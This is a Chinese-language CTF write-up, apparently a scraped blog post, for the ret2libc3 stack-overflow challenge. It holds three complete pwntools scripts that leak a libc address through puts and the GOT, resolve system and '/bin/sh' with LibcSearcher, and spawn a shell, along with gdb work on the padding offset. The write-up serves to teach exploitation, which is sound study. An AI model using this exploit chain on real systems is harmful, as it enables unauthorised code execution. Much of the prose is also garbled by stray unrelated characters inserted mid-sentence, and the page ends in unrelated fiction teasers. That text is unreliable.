ret2libc3

主要借鑒wp
pwn學(xué)習(xí)之ret2libc3——偏移計(jì)算初體驗(yàn)http://www.reibang.com/p/5525dde00053
適合新手的ret2libc3之路https://blog.csdn.net/qq_41918771/article/details/90665950
泄漏libc獲取shell的模板https://blog.csdn.net/qq_38204481/article/details/80329676
Ret2libc3 http://www.reibang.com/p/cd8864615288
ret2libc3 http://www.reibang.com/p/df8645e63365
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028
PWN學(xué)習(xí)闹击,對(duì)CTF-wiki上的講解進(jìn)行一些補(bǔ)充https://blog.csdn.net/qq_33948522/article/details/93880812

wiki上的鏈接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/

checksec ret2libc3

開(kāi)了堆棧不可執(zhí)行保護(hù)

IDA main函數(shù)F5


有g(shù)ets函數(shù)烫罩,漏洞為棧溢出(申請(qǐng)64h大小,但是gets無(wú)限制)
沒(méi)有system函數(shù)也沒(méi)有binsh滓技,要通過(guò)libc的函數(shù)相對(duì)偏移找出system()的真實(shí)地址

那么我們?nèi)绾蔚玫?system 函數(shù)的地址呢?這里就主要利用了兩個(gè)知識(shí)點(diǎn):

  • system 函數(shù)屬于 libc暴区,而 libc.so 動(dòng)態(tài)鏈接庫(kù)中的函數(shù)之間相對(duì)偏移是固定的肴茄。(記住公式:A真實(shí)地址-A的偏移地址 = B真實(shí)地址-B的偏移地址 = 基地址!)
  • 即使程序有 ASLR 保護(hù)玉组,也只是針對(duì)于地址中間位進(jìn)行隨機(jī),最低的 12 位(三位十六進(jìn)制位)并不會(huì)發(fā)生改變丁侄。而 libc 在 github 上有人進(jìn)行收集惯雳,如下:https://github.com/niklasb/libc-database

所以如果我們知道 libc 中某個(gè)函數(shù)的地址,對(duì)比最低12位绒障,那么我們就可以確定該程序利用的 libc吨凑。

一般是采用 got 表泄露的方法來(lái)得到某函數(shù)地址,即輸出某個(gè)函數(shù)對(duì)應(yīng)的 got 表項(xiàng)的內(nèi)容户辱。當(dāng)然,由于 libc 的延遲綁定機(jī)制糙臼,我們需要泄漏已經(jīng)執(zhí)行過(guò)的函數(shù)的地址庐镐。
plt表:跳板,跳轉(zhuǎn)到一個(gè)地址來(lái)加載libc庫(kù)变逃。文件中會(huì)對(duì)每個(gè)用到的函數(shù)分配一個(gè)plt函數(shù)
got表:經(jīng)過(guò)plt表的跳轉(zhuǎn)會(huì)在got表上寫(xiě)入地址必逆,這個(gè)地址是函數(shù)調(diào)用的真實(shí)地址
注意:plt表只在程序調(diào)用函數(shù)之前有用,調(diào)用函數(shù)之后第二次執(zhí)行這個(gè)函數(shù)就不會(huì)經(jīng)過(guò)plt表揽乱。

我們自然可以根據(jù)上面的步驟先得到 libc名眉,之后在程序中查詢(xún)偏移,然后再次獲取 system 地址凰棉,但這樣手工操作次數(shù)太多损拢,有點(diǎn)麻煩,這里給出一個(gè) libc 的利用工具撒犀,具體細(xì)節(jié)請(qǐng)參考 readme

此外福压,在得到 libc 之后掏秩,其實(shí) libc 中也是有 /bin/sh 字符串的,所以我們可以一起獲得 /bin/sh 字符串的地址荆姆。

這里泄露 __libc_start_main 的地址蒙幻,這是因?yàn)樗浅绦蜃畛醣粓?zhí)行的地方(所以肯定已經(jīng)執(zhí)行過(guò))〉ㄍ玻基本利用思路如下

1邮破、泄露 __libc_start_main 地址
2、獲取 libc 版本
3仆救、獲取 system 地址與 /bin/sh 的地址
4决乎、再次執(zhí)行源程序
5、觸發(fā)棧溢出執(zhí)行 system(‘/bin/sh’)

下面開(kāi)始干活

gdb爆偏移
gdb ret2libc3
cyclic 200(復(fù)制有規(guī)律亂碼)
r
(把有規(guī)律亂碼粘貼)
cyclic -l 0x62616164(報(bào)錯(cuò)地址)


上腳本

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
elf = ELF('./ret2libc3') #以ELF為格式創(chuàng)建對(duì)象

puts_plt = elf.plt['puts']#puts的plt表的地址派桩,我們需要利用puts函數(shù)泄露
libc_start_main_got = elf.got['__libc_start_main']#函數(shù)的真實(shí)地址构诚,即我們要泄露的對(duì)象
main_plt = elf.symbols['main']#返回地址被覆蓋為main函數(shù)的地址,再次執(zhí)行main铆惑,以求再次溢出
print "puts_plt =",hex(puts_plt)
print "libc_start_main_got =",hex(libc_start_main_got)
print "main_plt =",hex(main_plt)

print "leak libc_start_main_got addr and return to main again"
#調(diào)用puts函數(shù)范嘱,打印泄漏libc_start_main函數(shù)的地址,最后返回main函數(shù)
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆蓋返回地址為puts函數(shù)
payload += p32(main_plt)#這里是puts函數(shù)返回的地址
payload += p32(libc_start_main_got)#這里是puts函數(shù)的參數(shù)

sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)#接收掉原文件的輸出語(yǔ)句內(nèi)容员魏,如果不接收丑蛤,則輸入的payload便無(wú)法與之交互,文件的執(zhí)行就會(huì)一直處于等待狀態(tài)
#p.sendline(payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])#同u32(p.recv(4))撕阎,交互時(shí)接受返回的地址受裹,由于是32位的文件,recv(4)是指只接收四個(gè)字節(jié)的信息虏束,因?yàn)樾孤兜牡刂沸畔⒅淮嬖谟谇八膫€(gè)字節(jié)棉饶,u32是指解包unpack冒版,將一塊數(shù)據(jù)解包成四個(gè)字節(jié)
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#libc_binsh=next(libc.search("/bin/sh"))或binsh_libc = libc.search('/bin/sh').next()
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)

print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

main_plt = elf.symbols['_start']的差異
有的人main函數(shù)返回時(shí)用的是main_plt = elf.symbols['_start']赋续,從以下文章得知,_start調(diào)用了__libc_start_main彼水,__libc_start_main調(diào)用了main汗侵。用main_plt = elf.symbols['_start']的人第二次填充依舊是112幸缕,但是直接用main_plt = elf.symbols['main']的第二次填充個(gè)數(shù)為104。
https://blog.csdn.net/z_ryan/article/details/80985101

__start 這個(gè)符號(hào)是程序的起始
main 是被標(biāo)準(zhǔn)庫(kù)調(diào)用的一個(gè)符號(hào)

_start由匯編代碼實(shí)現(xiàn)晰韵。大致用如下偽代碼表示:
??
void _start()
{
  %ebp = 0;
  int argc = pop from stack
  char ** argv = top of stack;
  __libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,
  edx, top of stack);
}

第二次填充104的解釋
在這里解釋一下為什么是104发乔,其實(shí)我也不太知道,參考了以下文章雪猪,只是跟著他做
ret2libc3地址泄露https://blog.csdn.net/weixin_44642009/article/details/88630028

先貼一下這位作者的腳本(我略改了一下)栏尚,他是泄露puts函數(shù)的,道理同浪蹂,可以看見(jiàn)他在發(fā)送第一次payload后下了斷點(diǎn)進(jìn)行g(shù)db調(diào)試

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import * #庫(kù)函數(shù)LibcSearcher
import pwnlib#能夠進(jìn)行動(dòng)態(tài)調(diào)試

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./ret2libc3')
elf=ELF('./ret2libc3')
main=0x08048618
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
gdb.attach(p)
p.recvuntil('?')

p.sendline(payload)

puts=u32(p.recv(4))

print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)
p.interactive()

我運(yùn)行他的腳本抵栈,跟著他gdb告材,多次輸入n跟到這里



可以看到填充個(gè)數(shù)為EBP+0x4-(ESP+4)=0xffc0e300+0x4-(0xffc0e280+0x1c)=0x68=104,我不知道這里的0x1c是什么意思古劲,為什么要減掉它斥赋,希望得到指點(diǎn)。


可能是這個(gè)

也可能是這個(gè)

把我自己的腳本改一下跟著他做产艾,結(jié)果也是104
我的改后版本疤剑,加了斷點(diǎn)

#-*-coding:utf-8-*-
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

context.terminal=['gnome-terminal','-x','sh','-c']

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_plt = elf.symbols['main']
print "puts_plt =",hex(puts_plt)
print "main_plt =",hex(main_plt)

print "leak libc_start_main_got addr and return to main again"
payload = ''
payload += 'A'*112
payload += p32(puts_plt)#覆蓋返回地址為puts函數(shù)
payload += p32(main_plt)#這里是puts函數(shù)返回的地址
payload += p32(libc_start_main_got)#這里是puts函數(shù)的參數(shù)

gdb.attach(sh)
sh.sendlineafter('Can you find it !?', payload)
#p.recvuntil(’Can you find it !?’)
#p.sendline(payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print "libc_start_main_addr =",hex(libc_start_main_addr)
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)

print "getshell"
payload = ''
payload += 'A'*104
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

可以看到填充個(gè)數(shù)為EBP+0x4-(ESP+0x1c)=0xff8322a0+0x4-(0xff832220+0x1c)=0x68=104

看了這篇文章得到了一些關(guān)于104的啟發(fā)
https://blog.csdn.net/qq_33948522/article/details/93880812

原來(lái)ESP+0x1c是IDA中顯示的覆蓋起始位置,這就不難理解填充個(gè)數(shù)為EBP+0x4-(ESP+0x1c)


還有一種方法是:
試錯(cuò)法
別人認(rèn)為一開(kāi)始時(shí)先寫(xiě)112闷堡,調(diào)試發(fā)現(xiàn)EIP=AAAA隘膘,ESP=AAAA,正常的應(yīng)該是EBP被覆蓋杠览,EIP為ret指令要返回的位置弯菊,ESP為棧中ret上方的內(nèi)容。故多了8個(gè)A踱阿,正確的應(yīng)覆蓋的大小為112-8=104


但是我覺(jué)得這樣好像不嚴(yán)謹(jǐn)管钳,因?yàn)橹灰斎氡日_的填充個(gè)數(shù)多8個(gè)及以上,那輸出的EIP和ESP都是AAAA软舌,所以我試著把它混入一個(gè)B才漆,我覺(jué)得這樣才能真正確定要減回幾個(gè)
把代碼

payload += 'A'*112

改成

payload += 'A'*111+'B'


看到ESP變成了AAAB,現(xiàn)在我才能放心減8

手動(dòng)選libc版本
對(duì)了佛点,忘了說(shuō)還有一點(diǎn)醇滥,運(yùn)行后我們可能會(huì)遇到返回多個(gè)libc版本庫(kù)的情況,人家原話(huà)是

可以通過(guò)add_condition(leaked_func, leaked_address)來(lái)添加限制條件超营,也可以手工選擇其中一個(gè)libc版本(如果你確定的話(huà))鸳玩。

因?yàn)槲也粫?huì)用add_condition,所以就一個(gè)一個(gè)去手動(dòng)選糟描,這里如果有工具查到libc版本就最好(貌似那個(gè)叫l(wèi)ibc database search的東西被502 bad gateway了)怀喉,手工試出來(lái)真正的版本是2,libc6_2.23-0ubuntu10_i386船响。


如果用LibcSearcher在終端輸命令的話(huà),也會(huì)找到4個(gè)版本躲履,道理跟上面是一樣的见间。


最后成功交互是這個(gè)亞子


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市工猜,隨后出現(xiàn)的幾起案子米诉,更是在濱河造成了極大的恐慌,老刑警劉巖篷帅,帶你破解...
    沈念sama閱讀 211,265評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件史侣,死亡現(xiàn)場(chǎng)離奇詭異拴泌,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)惊橱,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,078評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門(mén)蚪腐,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人税朴,你說(shuō)我怎么就攤上這事回季。” “怎么了正林?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,852評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵泡一,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我觅廓,道長(zhǎng)鼻忠,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,408評(píng)論 1 283
  • 正文 為了忘掉前任杈绸,我火速辦了婚禮帖蔓,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘蝇棉。我一直安慰自己讨阻,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,445評(píng)論 5 384
  • 文/花漫 我一把揭開(kāi)白布篡殷。 她就那樣靜靜地躺著钝吮,像睡著了一般。 火紅的嫁衣襯著肌膚如雪板辽。 梳的紋絲不亂的頭發(fā)上奇瘦,一...
    開(kāi)封第一講書(shū)人閱讀 49,772評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音劲弦,去河邊找鬼耳标。 笑死,一個(gè)胖子當(dāng)著我的面吹牛邑跪,可吹牛的內(nèi)容都是我干的次坡。 我是一名探鬼主播,決...
    沈念sama閱讀 38,921評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼画畅,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼砸琅!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起轴踱,我...
    開(kāi)封第一講書(shū)人閱讀 37,688評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤症脂,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體诱篷,經(jīng)...
    沈念sama閱讀 44,130評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡壶唤,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,467評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了棕所。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片闸盔。...
    茶點(diǎn)故事閱讀 38,617評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖橙凳,靈堂內(nèi)的尸體忽然破棺而出蕾殴,到底是詐尸還是另有隱情,我是刑警寧澤岛啸,帶...
    沈念sama閱讀 34,276評(píng)論 4 329
  • 正文 年R本政府宣布钓觉,位于F島的核電站,受9級(jí)特大地震影響坚踩,放射性物質(zhì)發(fā)生泄漏荡灾。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,882評(píng)論 3 312
  • 文/蒙蒙 一瞬铸、第九天 我趴在偏房一處隱蔽的房頂上張望批幌。 院中可真熱鬧,春花似錦嗓节、人聲如沸荧缘。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,740評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)截粗。三九已至,卻和暖如春鸵隧,著一層夾襖步出監(jiān)牢的瞬間绸罗,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,967評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工豆瘫, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留珊蟀,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,315評(píng)論 2 360
  • 正文 我出身青樓外驱,卻偏偏與公主長(zhǎng)得像育灸,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子昵宇,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,486評(píng)論 2 348